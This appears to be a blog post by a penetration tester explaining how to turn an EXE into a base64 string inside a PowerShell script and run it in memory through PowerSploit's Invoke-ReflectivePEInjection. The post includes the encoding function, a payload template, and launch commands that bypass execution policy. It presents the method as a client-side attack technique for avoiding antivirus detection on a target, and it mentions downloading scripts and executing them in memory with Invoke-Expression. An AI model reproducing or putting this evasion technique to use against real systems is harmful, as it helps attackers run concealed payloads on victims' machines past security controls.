Embedding EXE files into PowerShell scripts

As sometimes happens, when you solve a particular problem, you realize that the solution can be generalized to cover more scenarios than the one you had in mind. This is one of those stories.

I was trying to resolve an issue with creating a pure PowerShell payload as part of a client-side attack. Using PowerShell to run malicious code has many advantages, including:

  • No need to install anything on the target.
  • Very powerful engine underneath (e.g. you can directly invoke .NET code).
  • You can use base64-encoded commands to obfuscate your evil commands, making the attack a little less obvious to spot. This is also a way to avoid escaping all the special characters, especially in advanced attacks involving several steps to deliver the payload.
  • You can use Invoke-Expression to interpret strings as PowerShell commands. From a penetration tester’s perspective, this is very useful to avoid writing complex scripts on disk. For example, you can use PowerShell to download an additional (complex) script, and pipe it directly to Invoke-Expression, which will interpret and execute the downloaded script in memory, within the PowerShell process. This also avoid antivirus detection.

The payload I wanted to run on the target included fairly complex functionalities. I had those functionalities as part of an EXE file. I didn’t want to drop the binary on the target system since it could potentially trigger an antivirus. I wanted to use PowerShell, but I didn’t want to rewrite the whole thing in PowerShell.

So I came up with a solution.

The objective is to embed a binary into a PowerShell script, and run it from within the script without writing it on disk.

This is how the solution works:

1. Take your binary file and base64-encode it

You can use the following function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function Convert-BinaryToString {
 
   [CmdletBinding()] param (
 
      [string] $FilePath
 
   )
 
   try {
 
      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
 
   }
 
   catch {
 
      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
 
   }
 
   if ($ByteArray) {
 
      $Base64String = [System.Convert]::ToBase64String($ByteArray);
 
   }
 
   else {
 
      throw '$ByteArray is $null.';
 
   }
 
   Write-Output -InputObject $Base64String;
 
}

2. Create a new script with the following:

  • The EXE converted to string created in point 1
  • The function Invoke-ReflectivePEInjection (part of the Powersploit project)
  • Convert the string to byte array
  • Call Invoke-ReflectivePEInjection

So basically your binary is just a string in the PowerShell script. Once decoded as a byte array, the function Invoke-ReflectivePEInjection (part of the Powersploit project) will run it in memory within the PowerShell process.

The final payload will look something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Your base64 encoded binary
 
$InputString = '...........'
 
function Invoke-ReflectivePEInjection
 
{
 
   ......
   ......
   ......
 
}
 
# Convert base64 string to byte array
 
$PEBytes = [System.Convert]::FromBase64String($InputString)
 
# Run EXE in memory
 
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

You can now run the script on the target like this:

1
powershell -ExecutionPolicy Bypass -File payload.ps1

Depending on the binary you embedded, you might get the following error:

PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)

To fix the issue, simply run the 32 bit PowerShell:

1
%windir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File payload.ps1

In the example below, I embedded plink.exe in payload.ps1

Capture - Copy

Pretty cool, uh?

Tags
Security
PowerShell
Hacking
Twitter